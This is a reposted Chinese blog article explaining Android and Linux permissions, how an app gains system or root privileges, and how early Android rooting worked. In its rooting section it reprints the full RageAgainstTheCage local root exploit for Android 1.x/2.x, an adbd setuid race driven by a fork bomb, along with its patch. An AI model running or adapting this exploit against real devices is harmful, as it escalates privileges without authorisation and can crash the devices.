Android系统权限和root权限

转载

oyzhizhong 于 2014-07-07 14:35:38 发布 656 收藏
分类专栏： android


android 专栏收录该内容
32 篇文章 0 订阅
订阅专栏

Android权限说明

Android系统是运行在Linux内核上的，Android与Linux分别有自己的一套严格的安全及权限机制，Android系统权限相关的内容，

（一）linux文件系统上的权限

-rwxr-x--x system system 4156 2012-06-30 16:12 test.apk.

代表的是相应的用户/用户组及其他人对此文件的访问权限，与此文件运行起来具有的权限完全不相关
比如上面的例子只能说明system用户拥有对此文件的读写执行权限；system组的用户对此文件拥有读、执行权限；其他人对此文件只具有执行权限。而test.apk运行起来后可以干哪些事情，跟这个就不相关了。
千万不要看apk文件系统上属于system/system用户及用户组，或者root/root用户及用户组，就认为apk具有system或root权限。apk程序是运行在虚拟机上的,对应的是Android独特的权限机制，只有体现到文件系统上时才使用linux的权限设置。

（二）Android的权限规则

（1)Android中的apk必须签名

这种签名不是基于权威证书的，不会决定某个应用允不允许安装，而是一种自签名证书。
重要的是，android系统有的权限是基于签名的。比如：system等级的权限有专门对应的签名，签名不对，权限也就获取不到。

默认生成的APK文件是debug签名的。获取system权限时用到的签名见后面描述

（2）基于UserID的进程级别的安全机制

进程有独立的地址空间，进程与进程间默认是不能互相访问的，Android通过为每一个apk分配唯一的linux userID来实现，名称为"app_"加一个数字，比如app_43不同的UserID，运行在不同的进程，所以apk之间默认便不能相互访问。

Android提供了如下的一种机制，可以使两个apk打破前面讲的这种壁垒。
在AndroidManifest.xml中利用sharedUserId属性给不同的package分配相同的userID，通过这样做，两个package可以被当做同一个程序，
系统会分配给两个程序相同的UserID。当然，基于安全考虑，两个apk需要相同的签名，否则没有验证也就没有意义了。

（3）默认apk生成的数据对外是不可见的

实现方法是：Android会为程序存储的数据分配该程序的UserID。
借助于Linux严格的文件系统访问权限，便实现了apk之间不能相互访问似有数据的机制。
例：我的应用创建的一个文件，默认权限如下，可以看到只有UserID为app_21的程序才能读写该文件。
-rw------- app_21 app_21 87650 2000-01-01 09:48 test.txt

如何对外开放？
<1> 使用MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE标记。
When creating a new file with getSharedPreferences(String, int), openFileOutput(String, int), or openOrCreateDatabase(String, int, SQLiteDatabase.CursorFactory), you can use the MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE flags to allow any other package to read/write the file. When setting these flags, the file is still owned by your application, but its global read and/or write permissions have been set appropriately so any other application can see it.

（4）AndroidManifest.xml中的显式权限声明
Android默认应用是没有任何权限去操作其他应用或系统相关特性的，应用在进行某些操作时都需要显式地去申请相应的权限。
一般以下动作时都需要申请相应的权限：

A particular permission may be enforced at a number of places during your program's operation:

At the time of a call into the system, to prevent an application from executing certain functions.When starting an activity, to prevent applications from launching activities of other applications.Both sending and receiving broadcasts, to control who can receive your broadcast or who can send a broadcast to you.When accessing and operating on a content provider.Binding or starting a service.

在应用安装的时候，package installer会检测该应用请求的权限，根据该应用的签名或者提示用户来分配相应的权限。
在程序运行期间是不检测权限的。如果安装时权限获取失败，那执行就会出错，不会提示用户权限不够。
大多数情况下，权限不足导致的失败会引发一个 SecurityException，会在系统log（system log）中有相关记录。

（5）权限继承/UserID继承
当我们遇到apk权限不足时，我们有时会考虑写一个linux程序，然后由apk调用它去完成某个它没有权限完成的事情，很遗憾，这种方法是行不通的。
前面讲过，android权限是在进程层面的，也就是说一个apk应用启动的子进程的权限不可能超越其父进程的权限（即apk的权限），
即使单独运行某个应用有权限做某事，但如果它是由一个apk调用的，那权限就会被限制。
实际上，android是通过给子进程分配父进程的UserID实现这一机制的。

（三）常见权限不足问题分析

首先要知道，普通apk程序是运行在非root、非system层级的，也就是说看要访问的文件的权限时，看的是最后三位。
另外，通过system/app安装的apk的权限一般比直接安装或adb install安装的apk的权限要高一些。

言归正传，运行一个android应用程序过程中遇到权限不足，一般分为两种情况:
（1）Log中可明显看到权限不足的提示。
此种情况一般是AndroidManifest.xml中缺少相应的权限设置，好好查找一番权限列表，应该就可解决，是最易处理的情况。

有时权限都加上了，但还是报权限不足，是什么情况呢？
Android系统有一些API及权限是需要apk具有一定的等级才能运行的。
比如 SystemClock.setCurrentTimeMillis()修改系统时间，WRITE_SECURE_SETTINGS权限好像都是需要有system级的权限才行。
也就是说UserID是system.

（2）Log里没有报权限不足，而是一些其他Exception的提示,这也有可能是权限不足造成的。
比如：我们常会想读/写一个配置文件或其他一些不是自己创建的文件，常会报java.io.FileNotFoundException错误。
系统认为比较重要的文件一般权限设置的也会比较严格，特别是一些很重要的(配置)文件或目录。
如
-r--r----- bluetooth bluetooth 935 2010-07-09 20:21 dbus.conf
drwxrwx--x system system 2010-07-07 02:05 data

dbus.conf好像是蓝牙的配置文件，从权限上来看，根本就不可能改动，非bluetooth用户连读的权利都没有。

/data目录下存的是所有程序的私有数据，默认情况下android是不允许普通apk访问/data目录下内容的，通过data目录的权限设置可知，其他用户没有读的权限。
所以adb普通权限下在data目录下敲ls命令，会得到opendir failed, Permission denied的错误，通过代码file.listfiles()也无法获得data目录下的内容。

上面两种情况，一般都需要提升apk的权限，目前我所知的apk能提升到的权限就是system（具体方法见：如何使Android应用程序获取系统权限），

怎样使android apk 获取system权限

最近在回答客户的问题时，提到怎么将apk 升级到root权限。

1.一般权限的添加

一般情况下，设定apk的权限，可在AndroidManifest.xml中添加android:sharedUserId="android.uid.xxx>

例如： 给apk添加system权限

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
... ...
android:sharedUserId="android.uid.system">

同时还需要在对应的Android.mk中添加LOCAL_CERTIFICATE := platform这一项。即用系统的签名，通过这种方式只能使apk的权限升级到system级别，系统中要求root权限才能访问的文件，apk还是不能访问。

比如在android 的API中有提供 SystemClock.setCurrentTimeMillis()函数来修改系统时间，这个函数需要root权限或者运行与系统进程中才可以用。

第一个方法简单点，不过需要在Android系统源码的环境下用make来编译：

1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。

2. 修改Android.mk文件，加入LOCAL_CERTIFICATE := platform这一行

3. 使用mm命令来编译，生成的apk就有修改系统时间的权限了。

第二个方法是直接把eclipse编出来的apk用系统的签名文件签名

1. 加入android:sharedUserId="android.uid.system"这个属性。

2. 使用eclipse编译出apk文件。

3. 使用目标系统的platform密钥来重新给apk文件签名。首先找到密钥文件，在我ndroid源码目录中的位置是"build/target/product/security"，下面的platform.pk8和platform.x509.pem两个文件。然后用Android提供的Signapk工具来签名，signapk的源代码是在"build/tools/signapk"下，编译后在out/host/linux-x86/framework下，用法为java -jar signapk.jar platform.x509.pem platform.pk8 input.apk output.apk"。

加入android:sharedUserId="android.uid.system"这个属性。通过Shared User id,拥有同一个User id的多个APK可以配置成运行在同一个进程中。那么把程序的UID配成android.uid.system，也就是要让程序运行在系统进程中，这样就有权限来修改系统时间了。

只是加入UID还不够，如果这时候安装APK的话发现无法安装，提示签名不符，原因是程序想要运行在系统进程中还要有目标系统的platform key，就是上面第二个方法提到的platform.pk8和platform.x509.pem两个文件。用这两个key签名后apk才真正可以放入系统进程中。第一个方法中加入LOCAL_CERTIFICATE := platform其实就是用这两个key来签名。

这也有一个问题，就是这样生成的程序只有在原始的Android系统或者是自己编译的系统中才可以用，因为这样的系统才可以拿到platform.pk8和platform.x509.pem两个文件。要是别家公司做的Android上连安装都安装不了。试试原始的Android中的key来签名，程序在模拟器上运行OK，不过放到G3上安装直接提示"Package ... has no signatures that match those in shared user android.uid.system"，这样也是保护了系统的安全。

怎样使android apk 获取root权限

一般linux 获取root权限是通过执行su命令，那能不能在apk程序中也同样执行一下该命令呢，我们知道在linux编程中，有exec函数族：

```
int execl(cONst char *path, const char *arg, ...);

int execlp(const char *file, const char *arg, ...);

int execle(const char *path, const char *arg, ..., char *const envp[]);

int execv(const char *path, char *const argv[]);

int execvp(const char *file, char *const argv[]);

int execve(const char *path, char *const argv[], char *const envp[]);
```

在java中我们可以借助 Runtime.getRuntime().exec(String command)访问底层Linux下的程序或脚本，这样就能执行su命令，使apk具有root权限，能够访问系统中需要root权限才能执行的程序或脚本了，具体例子：

```
package com.visit.dialoglog;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
public class VisitRootfileActivity extends Activity {
    private static final String TAG = "VisitRootfileActivity";
    Process process = null;
    Process process1 = null;
    DataOutputStream os = null;
    DataInputStream is = null;
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        try {
            process = Runtime.getRuntime().exec("/system/xbin/su"); /*这里可能需要修改su

   的源代码 （注掉  if (myuid != AID_ROOT && myuid != AID_SHELL) {*/

            os = new DataOutputStream(process.getOutputStream());
            is = new DataInputStream(process.getInputStream());
           os.writeBytes("/system/bin/ls" + " \n");  //这里可以执行具有root 权限的程序了
            os.writeBytes(" exit \n");
            os.flush();
            process.waitFor();
        } catch (Exception e) {
            Log.e(TAG, "Unexpected error - Here is what I know:" + e.getMessage());
        } finally {
            try {
                if (os != null) {
                    os.close();
                }
                if (is != null) {
                    is.close();
                }
                process.destroy();
            } catch (Exception e) {
            }
        }// get the root privileges
    }
}
```

APK在AndroidManifest.xml常用权限

android.permission.ACCESS_CHECKIN_PROPERTIES

//允许读写访问"properties"表在checkin数据库中，改值可以修改上传

android.permission.ACCESS_COARSE_LOCATION

//允许一个程序访问CellID或WiFi热点来获取粗略的位置

android.permission.ACCESS_FINE_LOCATION

//允许一个程序访问精良位置(如GPS)

android.permission.ACCESS_LOCATION_EXTRA_COMMANDS

//允许应用程序访问额外的位置提供命令

android.permission.ACCESS_MOCK_LOCATION

//允许程序创建模拟位置提供用于测试

android.permission.ACCESS_NETWORK_STATE

//允许程序访问有关GSM网络信息

android.permission.ACCESS_SURFACE_FLINGER

//允许程序使用SurfaceFlinger底层特性

android.permission.ACCESS_WIFI_STATE

//允许程序访问Wi-Fi网络状态信息

android.permission.ADD_SYSTEM_SERVICE

//允许程序发布系统级服务

android.permission.BATTERY_STATS

//允许程序更新手机电池统计信息

android.permission.BLUETOOTH

//允许程序连接到已配对的蓝牙设备

android.permission.BLUETOOTH_ADMIN

//允许程序发现和配对蓝牙设备

android.permission.BRICK

//请求能够禁用设备(非常危险

android.permission.BROADCAST_PACKAGE_REMOVED

//允许程序广播一个提示消息在一个应用程序包已经移除后

android.permission.BROADCAST_STICKY

//允许一个程序广播常用intents

android.permission.CALL_PHONE

//允许一个程序初始化一个电话拨号不需通过拨号用户界面需要用户确认

android.permission.CALL_PRIVILEGED

//允许一个程序拨打任何号码，包含紧急号码无需通过拨号用户界面需要用户确认

android.permission.CAMERA

//请求访问使用照相设备

android.permission.CHANGE_COMPONENT_ENABLED_STATE

//允许一个程序是否改变一个组件或其他的启用或禁用

android.permission.CHANGE_CONFIGURATION

//允许一个程序修改当前设置，如本地化

android.permission.CHANGE_NETWORK_STATE

//允许程序改变网络连接状态

android.permission.CHANGE_WIFI_STATE

//允许程序改变Wi-Fi连接状态

android.permission.CLEAR_APP_CACHE

//允许一个程序清楚缓存从所有安装的程序在设备中

android.permission.CLEAR_APP_USER_DATA

//允许一个程序清除用户设置

android.permission.CONTROL_LOCATION_UPDATES

//允许启用禁止位置更新提示从无线模块

android.permission.DELETE_CACHE_FILES

//允许程序删除缓存文件

android.permission.DELETE_PACKAGES

//允许一个程序删除包

android.permission.DEVICE_POWER

//允许访问底层电源管理

android.permission.DIAGNOSTIC

//允许程序RW诊断资源

android.permission.DISABLE_KEYGUARD

//允许程序禁用键盘锁

android.permission.DUMP

//允许程序返回状态抓取信息从系统服务

android.permission.EXPAND_STATUS_BAR

//允许一个程序扩展收缩在状态栏,android开发网提示应该是一个类似Windows Mobile中的托盘程序

android.permission.FACTORY_TEST

//作为一个工厂测试程序，运行在root用户

android.permission.FLASHLIGHT

//访问闪光灯,android开发网提示HTC Dream不包含闪光灯

android.permission.FORCE_BACK

//允许程序强行一个后退操作是否在顶层activities

android.permission.FOTA_UPDATE

//暂时不了解这是做什么使用的，android开发网分析可能是一个预留权限.

android.permission.GET_ACCOUNTS

//访问一个帐户列表在Accounts Service中

android.permission.GET_PACKAGE_SIZE

//允许一个程序获取任何package占用空间容量

android.permission.GET_TASKS

//允许一个程序获取信息有关当前或最近运行的任务，一个缩略的任务状态，是否活动等等

android.permission.HARDWARE_TEST

//允许访问硬件

android.permission.INJECT_EVENTS

//允许一个程序截获用户事件如按键、触摸、轨迹球等等到一个时间流，android开发网提醒算是hook技术吧

android.permission.INSTALL_PACKAGES

//允许一个程序安装packages

android.permission.INTERNAL_SYSTEM_WINDOW

//允许打开窗口使用系统用户界面

android.permission.INTERNET

//允许程序打开网络套接字

android.permission.MANAGE_APP_TOKENS

//允许程序管理(创建、催后、 z- order默认向z轴推移)程序引用在窗口管理器中

android.permission.MASTER_CLEAR

//目前还没有明确的解释，android开发网分析可能是清除一切数据，类似硬格机

android.permission.MODIFY_AUDIO_SETTINGS

//允许程序修改全局音频设置

//允许程序修改全局音频设置
android.permission.MODIFY_PHONE_STATE
//允许修改话机状态，如电源，人机接口等
android.permission.MOUNT_UNMOUNT_FILESYSTEMS
//允许挂载和反挂载文件系统可移动存储
android.permission.PERSISTENT_ACTIVITY
//允许一个程序设置他的activities显示
android.permission.PROCESS_OUTGOING_CALLS
//允许程序监视、修改有关播出电话
android.permission.READ_CALENDAR
//允许程序读取用户日历数据
android.permission.READ_CONTACTS
//允许程序读取用户联系人数据
android.permission.READ_FRAME_BUFFER
//允许程序屏幕波或和更多常规的访问帧缓冲数据
android.permission.READ_INPUT_STATE
//允许程序返回当前按键状态
android.permission.READ_LOGS
//允许程序读取底层系统日志文件
android.permission.READ_OWNER_DATA
//允许程序读取所有者数据
android.permission.READ_SMS
//允许程序读取短信息
android.permission.READ_SYNC_SETTINGS
//允许程序读取同步设置
android.permission.READ_SYNC_STATS
//允许程序读取同步状态
android.permission.REBOOT
//请求能够重新启动设备
android.permission.RECEIVE_BOOT_COMPLETED
//允许一个程序接收到
android.permission.RECEIVE_MMS
//允许一个程序监控将收到MMS彩信,记录或处理
android.permission.RECEIVE_SMS
//允许程序监控一个将收到短信息，记录或处理
android.permission.RECEIVE_WAP_PUSH
//允许程序监控将收到WAP PUSH信息
android.permission.RECORD_AUDIO
//允许程序录制音频
android.permission.REORDER_TASKS
//允许程序改变Z轴排列任务
android.permission.RESTART_PACKAGES
//允许程序重新启动其他程序
android.permission.SEND_SMS
//允许程序发送SMS短信
android.permission.SET_ACTIVITY_WATCHER
//允许程序监控或控制activities已经启动全局系统中
android.permission.SET_ALWAYS_FINISH
//允许程序控制是否活动间接完成在处于后台时

android.permission.SET_ANIMATION_SCALE
//修改全局信息比例
android.permission.SET_DEBUG_APP
//配置一个程序用于调试
android.permission.SET_ORIENTATION
//允许底层访问设置屏幕方向和实际旋转
android.permission.SET_PREFERRED_APPLICATIONS
//允许一个程序修改列表参数PackageManager.addPackageToPreferred()和PackageManager.removePackageFromPreferred()方法
android.permission.SET_PROCESS_FOREGROUND
//允许程序当前运行程序强行到前台
android.permission.SET_PROCESS_LIMIT
//允许设置最大的运行进程数量
android.permission.SET_TIME_ZONE
//允许程序设置时间区域
android.permission.SET_WALLPAPER
//允许程序设置壁纸
android.permission.SET_WALLPAPER_HINTS
//允许程序设置壁纸hits
android.permission.SIGNAL_PERSISTENT_PROCESSES
//允许程序请求发送信号到所有显示的进程中
android.permission.STATUS_BAR
//允许程序打开、关闭或禁用状态栏及图标Allows an application to open, close, or disable the status bar and its icons.
android.permission.SUBSCRIBED_FEEDS_READ
//允许一个程序访问订阅RSS Feed内容提供
android.permission.SUBSCRIBED_FEEDS_WRITE
//系统暂时保留改设置,android开发网认为未来版本会加入该功能。
android.permission.SYSTEM_ALERT_WINDOW
//允许一个程序打开窗口使用 TYPE_SYSTEM_ALERT，显示在其他所有程序的顶层(Allows an application to open windows using the type TYPE_SYSTEM_ALERT, shown on top of all other applications.)
android.permission.VIBRATE
//允许访问振动设备
android.permission.WAKE_LOCK
//允许使用PowerManager的 WakeLocks保持进程在休眠时从屏幕消失
android.permission.WRITE_APN_SETTINGS
//允许程序写入APN设置
android.permission.WRITE_CALENDAR
//允许一个程序写入但不读取用户日历数据
android.permission.WRITE_CONTACTS
//允许程序写入但不读取用户联系人数据
android.permission.WRITE_GSERVICES
//允许程序修改Google服务地图
android.permission.WRITE_OWNER_DATA
//允许一个程序写入但不读取所有者数据
android.permission.WRITE_SETTINGS
//允许程序读取或写入系统设置
android.permission.WRITE_SMS
//允许程序写短信
android.permission.WRITE_SYNC_SETTINGS

android.permission.WRITE_SYNC_SETTINGS
//允许程序写入同步设置

Linux的特殊文件权限

发布于：一般文件权限读（R），写(W)，执行（X）权限比较简单。一般材料上面都有介绍。　　这里介绍一下一些特殊的文件权限——SUID，SGID，Stick bit。如果你检查一下/usr/bin/passwd和/tmp/的文件权限你就会发现和普通的文件权限有少许不同，如下图所示：

这里就涉及到SUID和Stick bit。

SUID和SGID

我们首先来谈一下passwd程序特殊的地方。大家都知道，Linux把用户的密码信息存放在/etc/shadow里面，该文件属性如下：

可以看到Shadow的只有所有者可读写，所有者是root，所以该文件对普通用户是不可读写的。但是普通用户调用passwd程序是可以修改自己的密码的，这又是为什么呢？难道普通用户可以读写shadow文件？当然不是啦。password可以修改shadow文件的原因是他设置了SUID文件权限。

SUID文件权限作用于可执行文件。一般的可执行文件在执行期的所有者是当前用户，比如当前系统用户是simon，simon运行程序a.out，a.out执行期的所有者应该是simon。**但是如果我们给可执行文件设置了SUID权限，则该程序执行期间的所有者，就是该文件所有者**。还以前面的a.out为例，假如a.out设置了SUID，并且其所有者是root，系统当前用户是simon，当simon运行a.out的时候，a.out在运行期的所有者就是root，这时a.out可以存取只有root权限才能存取的资源，比如读写shadow文件。当a.out执行结束的时候当前用户的权限又回到了simon的权限了。

passwd就是设置了SUID权限，并且passwd的所有者是root，所以所有的用户都可以执行他，在passwd运行期，程序获得临时的root权限，这时其可以存取shadow文件。当passwd运行完成，当前用户又回到普通权限。

同理，设置程序的SGID，可以使程序运行期可以临时获得所有者组的权限。在团队开发的时候，这个文件权限比较有用，一般系统用SUID比较多。

SGID可以用于目录，当目录设置了SGID之后，在该目录下面建立的所有文件和目录都具有和该目录相同的用户组。

Stick bit(粘贴位)

对程序，该权限告诉系统在程序完成后在内存中保存一份运行程序的备份，如该程序常用，可为系统节省点时间，不用每次从磁盘加载到内存。Linux当前对文件没有实现这个功能，一些其他的UNIX系统实现了这个功能。

Stick bit可以作用于目录，在设置了粘贴位的目录下面的文件和目录，只有所有者和root可以删除他。现在我们可以回头去看看/tmp/目录的情况，这个目录设置了粘贴位。所以说，所有人都可以对该目录读写执行（777），这样意味着所有人都可以在/tmp/下面创建临时目录。因为设置Stick bit只有所有者和root才能删除目录。这样普通用户只能删除属于自己的文件，而不能删除其他人的文件。如下图所示：

设置SUID，SGID，Stick bit

前面介绍过SUID与SGID的功能，那么，如何打开文件使其成为具有SUID与SGID的权限呢？这就需要使用数字更改权限了。现在应该知道，使用数字更改权限的方式为“3个数字”的组合，那么，如果在这3个数字之前再加上一个数字，最前面的数字就表示这几个属性了（注：通常我们使用chmod 0777 filename的方式来设置filename的属性时，则是假设没有SUID、SGID及Sticky bit）。

4为SUID

2为SGID

1为Sticky bit

假设要将一个文件属性改为“-rwsr-xr-x”，由于s在用户权限中，所以是SUID，因此，在原先的755之前还要加上4，也就是使用“chmod 4755 filename”来设置。

SUID也可以用“chmod u+s filename”来设置，“chmod u-s filename”来取消SUID设置；同样，SGID可以用“chmod g+s filename”，“chmod g-s filename”来取消SGID设置。

Android系统root破解原理分析

获得root权限的代码如下：

```
Process process = Runtime.getRuntime().exec("su");

DataOutputStream os =new

DataOutputStream(process.getOutputStream());

 ……

os.writeBytes("exit\n");

os.flush();

process.waitFor();
```

从上面代码我们可以看到首先要运行su程序，其实root的秘密都在su程序中，Android系统默认的su程序只能root和shell可以用运行su，如果把这个限制拿掉，就是root破解了！

下面我们仔细分析一下程序是怎样获得root权限的，如果对Linux的su命令熟悉的朋友可能知道su程序都设置SUID位，我们查看一下已经root破解上的su权限设置，

我们发现su的所有者和所有组都是root，是其实是busybox的软链接，我们查看busybox的属性发现，其设置了SUID和SGID，并且所有者和所有组都是root。这样运行busybox的普通用户，busybox运行过程中获得的是root的有效用户。su程序则是把自己启动一个新的程序，并把自己权限提升至root（我们前面提到su其实就是busybox，运行期它的权限是root，当然也有权限来提升自己的权限）。

再强调一下不光root手机上su需要设置SUID，所有的Linux系统上的su程序都需要设置SUID位。

我们发现su也设置了SUID位，这样普通用户也可以运行su程序，su程序会验证root

密码，如果正确su程序可以把用户权限提高的root（因为其设置SUID位，运行期是root权限，这样其有权限提升自己的权限）。

Android系统的破解的根本原理就是替换掉系统中的su程序，因为系统中的默认su程序需要验证实际用户权限（只有root和shell用户才有权运行系统默认的su程序，其他用户运行都会返回错误）。而破解后的su将不检查实际用户权限，这样普通的用户也将可以运行su程序，也可以通过su程序将自己的权限提升。

root破解没有利用什么Linux内核漏洞（Linux内核不可能有这么大的漏洞存在），可以理解成root破解就是在你系统中植入“木马su”，说它是“木马”一点儿都不为过，假如恶意程序在系统中运行也可以通过su来提升自己的权限的这样的结果将会是灾难性的。所以一般情况下root过手机都会有一个SuperUser应用程序来让用户管理允许谁获得root权限.但是要替换掉系统中su程序本身就是需要root权限的，怎样在root破解过程中获得root权限，假设需要破解的Android系统具备如下条件：

1、可以通过adb连接到设备，一般意味着驱动程序已经安装。
2、但是adb获得用户权限是shell用户，而不是root。

先了解一下adb工具，设备端有adbd服务程序后台运行，为开发机的adb程序提供服务，adbd的权限，决定了adb的权限。具体用户可查看/system/core/adb下的源码，查看Android.mk你将会发现adb和adbd其实是一份代码，然后通过宏来编译。

查看adb.c的adb_main函数你将会发现adbd中有如下代码：

```
1:int adb_main(int is_daemon)
2: {
3:    ......
4:    property_get("ro.secure", value,"");
5:    if (strcmp(value,"1") == 0) {
6:        // don't run as root if ro.secure is set...
7:        secure = 1;
8:        ......
9:    }
10:
11:    if (secure) {
12:        ......
13:        setgid(AID_SHELL);
14:        setuid(AID_SHELL);
15:        ......
16:    }
17: }
```

从中我们可以看到adbd会检测系统的ro.secure属性，如果该属性为1则将会把自己的用户权限降级成shell用户。一般设备出厂的时候在/default.prop文件中都会有：

```
1: ro.secure=1
```

这样将会使adbd启动的时候自动降级成shell用户。

然后我们再介绍一下adbd在什么时候启动的呢？答案是在init.rc中配置的系统服务，由init进程启动。我们查看init.rc中有如下内容：

```
1: # adbd is controlled by the persist.service.adb.enable system property
2: service adbd /sbin/adbd
```

```
3:    disabled
```

对Android属性系统少有了解的朋友将会知道，在init.rc中配置的系统服务启动的时候都是root权限（因为init进行是root权限，其子程序也是root）。由此我们可以知道在adbd程序在执行：

```
1:/* then switch user and group to "shell" */

2: setgid(AID_SHELL);

3: setuid(AID_SHELL);
```

代码之前都是root权限，只有执行这两句之后才变成shell权限的。

这样我们就可以引出root破解过程中获得root权限的方法了，那就是让上面setgid和setuid函数执行失败，也就是降级失败，那就继续在root权限下面运行了。

这里面做一个简单说明：

1、出厂设置的ro.secure属性为1，则adbd也将运行在shell用户权限下；
2、adb工具创建的进程ratc也运行在shell用户权限下；

3、ratc一直创建子进程（ratc创建的子程序也将会运行在shell用户权限下），紧接着子程序退出，形成僵尸进程，占用shell用户的进程资源，直到到达shell用户的进程数为RLIMIT_NPROC的时候（包括adbd、ratc及其子程序），这是ratc将会创建子进程失败。这时候杀掉adbd，adbd进程因为是Android系统服务，将会被Android系统自动重启，这时候ratc也在竞争产生子程序。在adbd程序执行上面setgid和setuid之前，ratc已经创建了一个新的子进程，那么shell用户的进程限额已经达到，则adbd进程执行setgid和setuid将会失败。根据代码我们发现失败之后adbd将会继续执行。这样adbd进程将会运行在root权限下面了。

这时重新用adb连接设备，则adb将会运行在root权限下面了。

通过上面的介绍我们发现利用RageAgainstTheCage漏洞，可以使adbd获得root权限，也就是adb获得了root权限。拿到root权限剩下的问题就好办了，复制破解之后的su程序到系统中，都是没有什么技术含量的事情了。

其实堵住adbd的这个漏洞其实也挺简单的，新版本已经加两个这个补丁。

```
1:/* then switch user and group to "shell" */

2:if (setgid(AID_SHELL) != 0) {

3:    exit(1);

4: }

5:if (setuid(AID_SHELL) != 0) {

6:    exit(1);

7: }
```

如果发现setgid和setuid函数执行失败，则adbd进程异常退出，就把这个漏洞给堵上了。

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607

http://blog.claudxiao.net/wp-content/uploads/2011/04/rageagainstthecage.c

```
/* android 1.x/2.x adb setuid() root exploit
 * (C) 2010 The Android Exploid Crew
 *
 * Needs to be executed via adb -d shell. It may take a while until
 * all process slots are filled and the adb connection is reset.
 *
 * !!!This is PoC code for educational purposes only!!!
 * If you run it, it might crash your device and make it unusable!
 * So you use it at your own risk!
 */
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>

void die(const char *msg)
{
        perror(msg);
        exit(errno);
}
```

```
pid_t find_adb()
{
	char buf[256];
	int i = 0, fd = 0;
	pid_t found = 0;

	for (i = 0; i < 32000; ++i) {
		sprintf(buf, "/proc/%d/cmdline", i);
		if ((fd = open(buf, O_RDONLY)) < 0)
			continue;
		memset(buf, 0, sizeof(buf));
		read(fd, buf, sizeof(buf) - 1);
		close(fd);
		if (strstr(buf, "/sbin/adb")) {
			found = i;
			break;
		}
	}
	return found;
}


void restart_adb(pid_t pid)
{
	kill(pid, 9);
}


void wait_for_root_adb(pid_t old_adb)
{
	pid_t p = 0;
```

```
        for (;;) {
                p = find_adb();
                if (p != 0 && p != old_adb)
                        break;
                sleep(1);
        }
        sleep(5);
        kill(-1, 9);
}


int main(int argc, char **argv)
{
        pid_t adb_pid = 0, p;
        int pids = 0, new_pids = 1;
        int pepe[2];
        char c = 0;
        struct rlimit rl;

        printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
        printf("[*] checking NPROC limit ...\n");

        if (getrlimit(RLIMIT_NPROC, &rl) < 0)
                die("[-] getrlimit");

        if (rl.rlim_cur == RLIM_INFINITY) {
                printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
                exit(1);
        }
```

```
printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
printf("[*] Searching for adb ...\n");

adb_pid = find_adb();

if (!adb_pid)
	die("[-] Cannot find adb");

printf("[+] Found adb as PID %d\n", adb_pid);
printf("[*] Spawning children. Dont type anything and wait for reset!\n");
printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"
	"[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
	"[*] If you are a company and feel like you profit from our work,\n"
	"[*] we also accept donations > 1000 USD!\n");
printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");

sleep(5);

if (fork() > 0)
	exit(0);

setsid();
pipe(pepe);

/* generate many (zombie) shell-user processes so restarting
 * adb's setuid() will fail.
 * The whole thing is a bit racy, since when we kill adb
 * there is one more process slot left which we need to
 * fill before adb reaches setuid(). Thats why we fork-bomb
 * in a seprate process.
 */
```

```
if (fork() == 0) {
	close(pepe[0]);
	for (;;) {
		if ((p = fork()) == 0) {
			exit(0);
		} else if (p < 0) {
			if (new_pids) {
				printf("\n[+] Forked %d childs.\n", pids);
				new_pids = 0;
				write(pepe[1], &c, 1);
				close(pepe[1]);
			}
		} else {
			++pids;
		}
	}
}

close(pepe[1]);
read(pepe[0], &c, 1);



restart_adb(adb_pid);

if (fork() == 0) {
	fork();
	for (;;)
		sleep(0x743C);
}

wait_for_root_adb(adb_pid);
```

```
    return 0;
}
```

Android程序的安全系统

在Android系统中，系统为每一个应用程序（apk）创建了一个用户和组。这个用户和组都是受限用户，不能访问系统的数据，只能访问自己的文件和目录，当然它也不能访问其他应用程序的数据。这样设计可以尽可能地保护应用程序的私有数据，增强系统的安全性和健壮性。

但是有一些应用程序是需要访问一些系统资源的。比如Setting程序，它需要访问WiFi，在系统中创建删除文件等等操作。怎样做到这一点儿呢？Android通过一定途径可以获得system权限。获得system用户权限，需要以下步骤：

1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。
2. 修改Android.mk文件，加入LOCAL_CERTIFICATE := platform这一行
3. 使用mm命令来编译，生成的apk就有修改系统时间的权限了。

一般情况下system用户可以在系统中创建和删除文件，访问设备等等。但是有些情况下system权限还是不够的。比如：设置网卡IP地址，ifconfig命令是需要root权限的。我可以很肯定的说，在Android下面应用程序是没有可能拿到root权限的。但是如果我的应用程序需要root权限怎么办呢？只能想办法绕般过去。就以我的问题为例，设置网卡IP地址，root权限下面命令为：

```
ifconfig eth0 192.168.1.188
```

在普通用户或者system用户权限下面这条命令是不起作用的，但是不会返回失败和异常，那么怎样实现这个功能呢。

1、系统启动的时候init进程创建一个后台进程，该进程处于root用户权限下面。用来监听系统中应用程序的请求（可以用socket实现），并代其完成。这样应用程序就可以执行root用户权限的任务了。

2、实现一个虚拟的设备，该设备的功能就是在内核态帮应用程序执行相应的命令。Linux内核态没有权限的问题了。肯定可以执行成功。

解决设置网卡IP地址问题时，选择是后者相对来说设计比较简单。

Android应用程序利用init.rc service获得root权限

发布于:想在android应用程序中动态mount一个NFS的系统，但是执行mount命令必须要root权限才可以。一般情况下，在Android的APK层是不能获得root权限的。

上一节提到实现由init启动的Service，来帮助Android应用程序执行root权限的命令或者实现一个虚拟设备，这个设备帮助Android应用程序执行root权限的命令。

